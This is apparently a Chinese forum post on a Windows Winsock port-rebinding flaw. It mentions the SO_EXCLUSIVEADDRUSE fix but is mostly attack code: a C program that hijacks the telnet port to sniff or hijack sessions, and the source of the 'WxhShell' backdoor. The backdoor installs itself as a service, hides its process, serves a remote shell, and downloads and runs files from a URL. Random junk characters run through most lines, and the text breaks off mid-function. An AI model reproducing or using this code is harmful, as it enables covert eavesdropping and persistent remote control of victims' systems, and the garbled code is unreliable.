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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nLrCy5R:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZlcEeG  
dtV7YPz4+  
  saddr.sin_family = AF_INET; oGt2n:  
g<8Oezi 65  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2';{o=TXV  
>I+p;V$@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7WNUHLEt  
Jr(Z Ym'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TeJ=QpGW2  
ArT@BqWd  
  这意味着什么?意味着可以进行如下的攻击: q$<VLrx  
"5\6`\/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .GCJA`0h  
nH+wU;M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8>I4e5Ym  
od&wfwk(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dI%Nwl%  
_.m|Ml,`{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D'UIxc8  
[mG!-.ll  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :"K9(XKKU  
2frwU~y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ju"c!vu~  
@ykl:K%ke  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Nr*o RYY  
~svea>Fmr  
  #include ?ihRt+eR~  
  #include S++jwP  
  #include d^5x@E_Td  
  #include    mWMtz]M}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1>bNw-kz7  
  int main() *3fhVl=8^*  
  { CX]L'  
  WORD wVersionRequested; iBY16_q  
  DWORD ret; j:HIcCp  
  WSADATA wsaData; ahN8IV=+Gm  
  BOOL val; ; 2aPhA  
  SOCKADDR_IN saddr; .k,,PuP  
  SOCKADDR_IN scaddr; "z*?#&?,  
  int err; GgtYO4,  
  SOCKET s; Vf$$e)  
  SOCKET sc; ~bw=;xF{3  
  int caddsize; wF*9%K'E  
  HANDLE mt; {=MRJg!U  
  DWORD tid;   fBBtS S  
  wVersionRequested = MAKEWORD( 2, 2 ); g6OPYUPg  
  err = WSAStartup( wVersionRequested, &wsaData ); 4(`U]dNcs  
  if ( err != 0 ) { NjO_Y t  
  printf("error!WSAStartup failed!\n"); 1 q|iw  
  return -1; !-JvVdM;(  
  } Z~;rp`P  
  saddr.sin_family = AF_INET; K[Vj+qdyl  
   Ir Y\Q)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^SIA%S3  
\ #la8,+9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nJwP|P_  
  saddr.sin_port = htons(23); Qs<L$"L1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ;B{oGy.  
  { A,?6|g`q'  
  printf("error!socket failed!\n"); {r#uD5NJ/  
  return -1; Q&w"!N  
  } l.BiE<&  
  val = TRUE; c^z) [  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qu;$I'Ul%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9&Z+K'$=  
  { xiqeKoAD  
  printf("error!setsockopt failed!\n"); tF.N  
  return -1; >Udq{<]#r  
  } O;0VKNn['  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `4ti?^BNm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @qB>qD~WsD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $s"-r9@q  
w,OPM}) il  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PlwM3lrj  
  { $dsLU5]1o  
  ret=GetLastError(); Fx:4d$>;  
  printf("error!bind failed!\n"); <00=bZzX  
  return -1; f @Vd'k<  
  } 2dDhO  
  listen(s,2);  *qFl&*h}  
  while(1) #S[Y}-]T  
  { UQbk%K2  
  caddsize = sizeof(scaddr); 02-% B~oP  
  //接受连接请求 n|B<rx?v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E,Xl8rC  
  if(sc!=INVALID_SOCKET) j rX`_Y  
  { }-Jo9dNs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B) dG:~  
  if(mt==NULL) ; FHnu|  
  { 0#~k)>(7lR  
  printf("Thread Creat Failed!\n"); h\+8eeIl  
  break; Y3SV6""y/  
  } Z1] 4:  
  } #];ulDq  
  CloseHandle(mt); ~6+>2|wIS  
  } ^4et; F%  
  closesocket(s); A.~wgJDO  
  WSACleanup(); $"?$r  
  return 0; ST,+]p3L(  
  }   O,#,`2Qc  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8EBd`kiq  
  { J'yCVb)V  
  SOCKET ss = (SOCKET)lpParam; 0:c3aq&u  
  SOCKET sc; VLoRS)   
  unsigned char buf[4096]; 9~y:K$NO  
  SOCKADDR_IN saddr; >'jkL5l  
  long num; 0IBQE  
  DWORD val; ;s8\F]K  
  DWORD ret; v@{VQVx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e7plL^^`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B;2#Sa.  
  saddr.sin_family = AF_INET; =,X*40=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KDj/S-S  
  saddr.sin_port = htons(23); 86a,J3C[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BnaI30-  
  { ;J:*r0  
  printf("error!socket failed!\n"); \ rKUPI\  
  return -1; cg9*+]rc  
  } :SY,;..3e  
  val = 100; ^)h&s*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -z%->OUu  
  { KEf1GU6s  
  ret = GetLastError(); [ u ^/3N  
  return -1; +-|}<mq  
  } r,Msg&rT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [Mj5o<k;I  
  { T&}KUX~Q/  
  ret = GetLastError(); b~(S;1NS'  
  return -1; ({D>(xN   
  } tvJl&{-OX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,k(B>O~o  
  { fUZCP*7>  
  printf("error!socket connect failed!\n"); (0rcLNk{|  
  closesocket(sc); 8G3.bi'q   
  closesocket(ss); )}Cf6 m}  
  return -1; lI@Z)~  
  } '$5d6?BC`3  
  while(1) uO1^nK  
  { 7p>T6jK)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r> .l^U9hJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bfkFk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x'SIHV4M@Q  
  num = recv(ss,buf,4096,0); c5pK%I}O  
  if(num>0) _Ih"*~ r/&  
  send(sc,buf,num,0); `'gcF });  
  else if(num==0) Dj6^|R$z&  
  break; 8?|W-rN  
  num = recv(sc,buf,4096,0); n#B}p*G  
  if(num>0) E,ooD3$h  
  send(ss,buf,num,0); B~,?Gbl+g  
  else if(num==0) /;xrd\du  
  break; 0T 0I<t  
  } K1-RJj\L  
  closesocket(ss); i~*6JB|  
  closesocket(sc); *z_`$Y  
  return 0 ; =5:kV/p  
  } ZVit] 3hd  
~{N#JOY}Z  
z]=Ks_7  
========================================================== U.ZA%De  
JV+Uy$P!  
下边附上一个代码,,WXhSHELL ;Rm';IW$  
S&;)F|-q  
========================================================== m}2hIhD9  
X7gB.=\X  
#include "stdafx.h" ^x_.3E3Q  
Z&h:3;  
#include <stdio.h> g;:3I\ L  
#include <string.h> G/w@2lYx  
#include <windows.h> SCfk!GBVD  
#include <winsock2.h> ETR7% 0$r  
#include <winsvc.h> S(rnVsW%Ki  
#include <urlmon.h> B}aW y&D  
T8x/&g''  
#pragma comment (lib, "Ws2_32.lib") 0rif,{"  
#pragma comment (lib, "urlmon.lib") [FBc&HN  
9_Z_5w;h  
#define MAX_USER   100 // 最大客户端连接数 Wu l8ej:  
#define BUF_SOCK   200 // sock buffer %{me<\(  
#define KEY_BUFF   255 // 输入 buffer -x?|[ +%  
rxZk!- t)L  
#define REBOOT     0   // 重启 %:dd#';g  
#define SHUTDOWN   1   // 关机 V P7LKfv  
>!c Ff$2'  
#define DEF_PORT   5000 // 监听端口 %f(4jQ0I  
_ -,[U{  
#define REG_LEN     16   // 注册表键长度 CurU6x1  
#define SVC_LEN     80   // NT服务名长度 ?Qts2kae#  
;#*.@Or@Ah  
// 从dll定义API w[G-=>;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CI+liH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PAVlZ}kj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +LF=oM<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]n$ v ^  
PI8ag  
// wxhshell配置信息 h-o;vC9fC  
struct WSCFG { YYvX@f  
  int ws_port;         // 监听端口 CM `Q((  
  char ws_passstr[REG_LEN]; // 口令 0|4R8Dh*-  
  int ws_autoins;       // 安装标记, 1=yes 0=no j9cB<atL  
  char ws_regname[REG_LEN]; // 注册表键名 g1B P  
  char ws_svcname[REG_LEN]; // 服务名 R80|q#h,]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QqXaXx;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xx?0Ftuq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <YWu/\{KT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~u?rjkSFoh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v v   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'OMl9}M  
NCm=l  
}; 472'P  
Ra C6RH  
// default Wxhshell configuration D^{jXNDNO  
struct WSCFG wscfg={DEF_PORT, U)z1RHP|z  
    "xuhuanlingzhe", JBISA _Y  
    1, dtXtZ!g2  
    "Wxhshell", s GrI%3[e"  
    "Wxhshell", (8em5  
            "WxhShell Service", 9AD0|,g  
    "Wrsky Windows CmdShell Service", 48!F!v,j)x  
    "Please Input Your Password: ", ]!@!qp@  
  1, U:$`M,762Z  
  "http://www.wrsky.com/wxhshell.exe", = @FT$GQ  
  "Wxhshell.exe" 9YBlMf`KEf  
    }; 9,}Z1 f\%  
0+A#k7c6p  
// 消息定义模块 f1d<xGx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _ CzAv%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S:c lyx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vTp,j-^  
char *msg_ws_ext="\n\rExit."; q"LT8nD\  
char *msg_ws_end="\n\rQuit."; qtP*O#1q  
char *msg_ws_boot="\n\rReboot..."; uYd_5 nw  
char *msg_ws_poff="\n\rShutdown..."; !Z;Nv  
char *msg_ws_down="\n\rSave to "; x+1-^XvK  
kioIyV\=  
char *msg_ws_err="\n\rErr!";  yT(86#st  
char *msg_ws_ok="\n\rOK!"; hi Ws:Yq  
 ~"h V-3U  
char ExeFile[MAX_PATH]; O:dUzZR['  
int nUser = 0; . ;D'  
HANDLE handles[MAX_USER]; fY|vq amA;  
int OsIsNt; ~\c  j  
X,K`]hb*0_  
SERVICE_STATUS       serviceStatus; pf3-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 86o'3G9@  
 mNX0BZ  
// 函数声明 Rr\fw'  
int Install(void); vE~<R  
int Uninstall(void); 4 @9cO)m  
int DownloadFile(char *sURL, SOCKET wsh); v/`#Gu^P  
int Boot(int flag); s1T}hp  
void HideProc(void); 14y>~~3C4  
int GetOsVer(void); eBe5H =I@  
int Wxhshell(SOCKET wsl); "fSK7%BP  
void TalkWithClient(void *cs); >lugHF$G  
int CmdShell(SOCKET sock); X`I=Z ysB  
int StartFromService(void); |@)jS.Bn  
int StartWxhshell(LPSTR lpCmdLine); }BCxAwD4  
n$"B F\eM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y<y9'tx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _Aw-{HE'  
sWgzHj(c  
// 数据结构和表定义 1mx;b)4t  
SERVICE_TABLE_ENTRY DispatchTable[] = S's I[?\x  
{ ZXWm?9uw  
{wscfg.ws_svcname, NTServiceMain}, o1Wf#Zq   
{NULL, NULL} G:MQ_tfr&  
}; 'gk^NAG2^E  
N&u(9Fxn  
// 自我安装 hud'@O"R+  
int Install(void) ,9 .NMFn  
{ SN#N$] y5s  
  char svExeFile[MAX_PATH]; G<t _=j/r  
  HKEY key; l +O\oD?-  
  strcpy(svExeFile,ExeFile); b28C (  
SLud}|f;o  
// 如果是win9x系统,修改注册表设为自启动 9cMMkOM J  
if(!OsIsNt) { (HeIO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P;e@<O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {d,^tG}  
  RegCloseKey(key); H"|oI|~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;{g>Z|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A@w9_qo  
  RegCloseKey(key); v<?k$ e5  
  return 0; +#g4Crb  
    } x ~@%+d  
  } sAP  YQ  
} Ak2Vf0Eb  
else { 6Kd,(DI  
"o<&3c4  
// 如果是NT以上系统,安装为系统服务 &s&Ha{(!w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SwhArvS  
if (schSCManager!=0) e\]CZ5hs3  
{ 0a)LZp|  
  SC_HANDLE schService = CreateService DZ5h<1  
  ( rf$ eg  
  schSCManager, bw[K^/  
  wscfg.ws_svcname, Qexv_:C  
  wscfg.ws_svcdisp, cA+O]",}  
  SERVICE_ALL_ACCESS, QWK\6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }h\]0'S~J~  
  SERVICE_AUTO_START, L$f:D2Ei  
  SERVICE_ERROR_NORMAL, rE.z.r"O  
  svExeFile, cX48?srG  
  NULL, Z`@< O%  
  NULL, Za1VJ5-  
  NULL, -O[9{`i]  
  NULL, W; ?'  
  NULL y1Yrf,E m=  
  ); Hp3T2|uL  
  if (schService!=0) X(K5>L>  
  { )<%IY&\  
  CloseServiceHandle(schService); K_BF=C.k  
  CloseServiceHandle(schSCManager); ,wk %)^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EA!I& mBq  
  strcat(svExeFile,wscfg.ws_svcname); \H.1I=<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c(!{_+q"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5E\&O%W"  
  RegCloseKey(key); ixo?o]Xb`  
  return 0; @*~cmf&FIQ  
    } `z`"0;,7S  
  } |'12Kv]#Xa  
  CloseServiceHandle(schSCManager); </7?puVR  
} VXu1Y xY  
} >J@hqW  
`T$CUlt6  
return 1; 4031~A8  
} 3 e<sNU?  
Vu1X@@z  
// 自我卸载 wqf^n-Ze  
int Uninstall(void) sVT\e*4m}  
{ =h}IyY@o  
  HKEY key; %%k`+nK~  
o2NU~Ub  
if(!OsIsNt) { E3o J;E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /'>#1J|TlK  
  RegDeleteValue(key,wscfg.ws_regname); rfc;   
  RegCloseKey(key); KN zm)O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Y}nehxG@  
  RegDeleteValue(key,wscfg.ws_regname); /g]m,Y{OI  
  RegCloseKey(key); RU GhhK  
  return 0; npdpKd+*K"  
  } 28PT1 9&  
} t0gLz J  
}  k/}E(_e  
else { POc-`]6 <F  
Q:!.YSB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -OV!56&  
if (schSCManager!=0) hKYA5]  
{ lzStJ,NPqn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rz3!0P!"K  
  if (schService!=0) 1t7S:IZ  
  { ?3:xR_VWZu  
  if(DeleteService(schService)!=0) { [1gWc`#  
  CloseServiceHandle(schService); S,TK;g  
  CloseServiceHandle(schSCManager); .jC-&(R +  
  return 0; /I3>u  
  } Q[N6#C:(4  
  CloseServiceHandle(schService); WD,iY_'7u^  
  } gsp|?) ]x  
  CloseServiceHandle(schSCManager); 9hIcnPu  
} _,;|,  
} y9L:2f\  
$^4URH  
return 1; C@L8,Kj ~.  
} GT} =(sD L  
}J&[Uc  
// 从指定url下载文件 N!&$fhY)  
int DownloadFile(char *sURL, SOCKET wsh) []rg'9B2b  
{ <UcbBcW,  
  HRESULT hr; _e3kO6X  
char seps[]= "/"; o Z#4<7K  
char *token; tMWsgK.B  
char *file; 8P'zQ:#RV  
char myURL[MAX_PATH]; -hIDL'5u-I  
char myFILE[MAX_PATH]; i''[ u  
2qD80W<1  
strcpy(myURL,sURL); a,sU-w!X'  
  token=strtok(myURL,seps); h&}XG\ioNA  
  while(token!=NULL) F7zBm53  
  { REvY`   
    file=token; qm1;^j&y  
  token=strtok(NULL,seps); lIj2w;$v  
  } 2|n~5\K|t  
C!8XFf8e  
GetCurrentDirectory(MAX_PATH,myFILE); 5ZkMd !$y  
strcat(myFILE, "\\"); LMmW3W`   
strcat(myFILE, file); ,#P eK(  
  send(wsh,myFILE,strlen(myFILE),0); W\?_o@d  
send(wsh,"...",3,0); h)qapC5z,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c`(]j w  
  if(hr==S_OK) g&30@D"  
return 0; mw1|>*X&R  
else kU5chltGF  
return 1; <ZV !fn  
:3# t;  
} \)pT+QxZ  
H1FSN6'  
// 系统电源模块 v<z%\`y  
int Boot(int flag) A9[ELD>p  
{ 4M&6q(389  
  HANDLE hToken; ytXXZ`  
  TOKEN_PRIVILEGES tkp; <-:gaA`KM  
|3?qL  
  if(OsIsNt) { O)qedy*&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p9[J 9D3~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); > T,^n {_v  
    tkp.PrivilegeCount = 1; 0b0.xz\~U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &?=UP4[oif  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W^Jh'^E  
if(flag==REBOOT) { U[b $VZ}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )kSE5|:pi  
  return 0; b=!G3wVw<  
} mV0.9pxS  
else { 09{B6l6P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g pN{1  
  return 0; 4{d!}R  
} p<\yp<g  
  } `4& GumG  
  else { (0Xgv3wd  
if(flag==REBOOT) { U!L<v!$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e?%Qv+)W  
  return 0; =Zcbfo_&  
} IGj%)_W  
else { bojx:g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q1Vh]d  
  return 0; i6p0(OS&D  
} -o\r]24  
}  2L~[dn.s  
.FS`Fh;  
return 1; vt3yCS  
} w6M EY"<L  
G(-1"7  
// win9x进程隐藏模块 *5bKJgwJ  
void HideProc(void) &>I4-D[  
{ 777N0,o(  
/XG4O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uX-]z3+  
  if ( hKernel != NULL ) U[1Ir92:  
  { oW*e6"<R7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jjgjeY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  xA DjQ%B  
    FreeLibrary(hKernel); .R/`Y)4  
  } |@]`" k  
}%B^Vl%ZZ  
return; HY.?? 5MH  
} L=u>}?!,Fj  
UC)-Fd  
// 获取操作系统版本 T&Y?IE}  
int GetOsVer(void) f>Mg.9gJ(  
{ 51Yq>'8  
  OSVERSIONINFO winfo; 0^VA,QkQ\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5+<<:5_6l  
  GetVersionEx(&winfo); }4PIpDL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XY]|OZ7(  
  return 1; @<5?q: 9.8  
  else 0s"g%gq|  
  return 0; Nj Ng=q  
} >z*2Og#1  
ad).X:Qs  
// 客户端句柄模块 kDM\IyM<\  
int Wxhshell(SOCKET wsl) v7+f@Z:N*  
{ `2S G{5o;  
  SOCKET wsh; xyK_1n@b  
  struct sockaddr_in client; /F;b<kIy8  
  DWORD myID; 75j`3wzu  
!JtVp&?  
  while(nUser<MAX_USER) x?0ZzB),  
{ H]5%"(h  
  int nSize=sizeof(client); >}` q4U6$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9S ~!!7oj  
  if(wsh==INVALID_SOCKET) return 1; ENwDW#U9  
2<jbNnj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KXEDpr  
if(handles[nUser]==0) ~U+SK4SK:o  
  closesocket(wsh); tH0=ysf  
else (^-i[aJY  
  nUser++; VY)!bjW.  
  } {O-,JCq/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aZGX`;3  
\8%64ZL`  
  return 0; zfDx c3e  
} pCOr{I\  
=k#SQ/@  
// 关闭 socket hX\z93an  
void CloseIt(SOCKET wsh) H tIl;E  
{ Fv \yhR  
closesocket(wsh); -EV_=a8[y  
nUser--; U$R+&@;  
ExitThread(0); !BD+H/A.{  
} VU7x w  
Wpo:'?!(M^  
// 客户端请求句柄 &K@2kq,  
void TalkWithClient(void *cs) DN)Ehd.  
{ SV;S`\i  
LJK<Xen  
  SOCKET wsh=(SOCKET)cs; ngM>Tzirt  
  char pwd[SVC_LEN]; W)I)QinOH  
  char cmd[KEY_BUFF]; x/Pi#Xm  
char chr[1]; 1df }gG  
int i,j; +$Q33@F5l  
E5.3wOE  
  while (nUser < MAX_USER) { LyM"  
hC@oyC(4  
if(wscfg.ws_passstr) { L M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tmF->~|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F%!ZHE7  
  //ZeroMemory(pwd,KEY_BUFF); 5bZf$$b  
      i=0; #gbJ$1s  
  while(i<SVC_LEN) { `z<k7ig  
qiQS:0|_  
  // 设置超时 qSh^|;2?R  
  fd_set FdRead; +qsNz*@p"  
  struct timeval TimeOut; W)^0~[`i  
  FD_ZERO(&FdRead); Gj]*_"T  
  FD_SET(wsh,&FdRead); z-*/jFE  
  TimeOut.tv_sec=8; .Cfi/  
  TimeOut.tv_usec=0; %jKbRiz1u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $qk2!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2 F3U,}  
T0xU}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zoYw[YP9  
  pwd=chr[0]; sqw^Hwy=!2  
  if(chr[0]==0xd || chr[0]==0xa) { 5\Sm^t|Tx  
  pwd=0; yrO \\No#H  
  break; %k(V 2]WF  
  } 3*9<JHu  
  i++; :K{!@=o  
    } =ja(;uC  
tPh``o  
  // 如果是非法用户,关闭 socket MM8r*T4g/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Z5#{Sd  
} D_fgxl  
q~9Y&>D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p`ai2`qC`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DDh$n?2fd  
QEIu}e6b  
while(1) { _MfXN$I?}  
g+Z~"O]$M  
  ZeroMemory(cmd,KEY_BUFF); &Pu}"M$[MH  
_]W {)=ap  
      // 自动支持客户端 telnet标准   Ar4@7  
  j=0; Z)B5g>  
  while(j<KEY_BUFF) { -}nTwx:|5u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1DPgiIG~  
  cmd[j]=chr[0]; $y~!ePKh  
  if(chr[0]==0xa || chr[0]==0xd) { i,jPULzyjk  
  cmd[j]=0; B\BxF6 y  
  break; ^W-03  
  } ;2X/)sxWz  
  j++; h^#K4/  
    } 5(kRFb'31F  
ajFSbi)l  
  // 下载文件 :|i jCg+  
  if(strstr(cmd,"http://")) { umV5Y`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S EdNH.|I  
  if(DownloadFile(cmd,wsh)) 7XLz Ewa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@_Vg~=S  
  else g:bw;6^ u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^M60#gJ  
  } u\gPx4]4c  
  else { n~xh %r;  
dQ+{Dv3A  
    switch(cmd[0]) { /L,VZ?CmtK  
  `* !t<?$i  
  // 帮助 |/B2Bm  
  case '?': { KCG-&p$v@s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (~t/8!7N  
    break; ^|KX)g  
  } Y'6GY*dL  
  // 安装 /8 /2#`3R  
  case 'i': { \yeo-uN8  
    if(Install()) 1RC(T{\x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u'"VbW3u n  
    else >W%tEc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?`%7Y~  
    break; J{Fu8  
    } r|[uR$|Y  
  // 卸载 (xnXM}M&2Y  
  case 'r': { e-vwve  
    if(Uninstall()) tjw4.L<r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'yG9Rt  
    else fv?vO2nj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Y"c1f2  
    break; `em}vdY  
    } a!ao{8#  
  // 显示 wxhshell 所在路径 C^>txui8  
  case 'p': { f"emH  
    char svExeFile[MAX_PATH]; -:w+`x?XaB  
    strcpy(svExeFile,"\n\r"); sYlA{Z"  
      strcat(svExeFile,ExeFile); .H,v7L,~88  
        send(wsh,svExeFile,strlen(svExeFile),0); uzA"+cV5  
    break; U2  0@B`<  
    } 96Kv!  
  // 重启 uH'n.d"WG  
  case 'b': { Vo*38c2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^^MVd@,i  
    if(Boot(REBOOT)) g~EJja;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FSnF>3kj-  
    else { WZkAlg7Z  
    closesocket(wsh); lFMQT ;  
    ExitThread(0); @SA:64 9  
    } Hk)IV"[R  
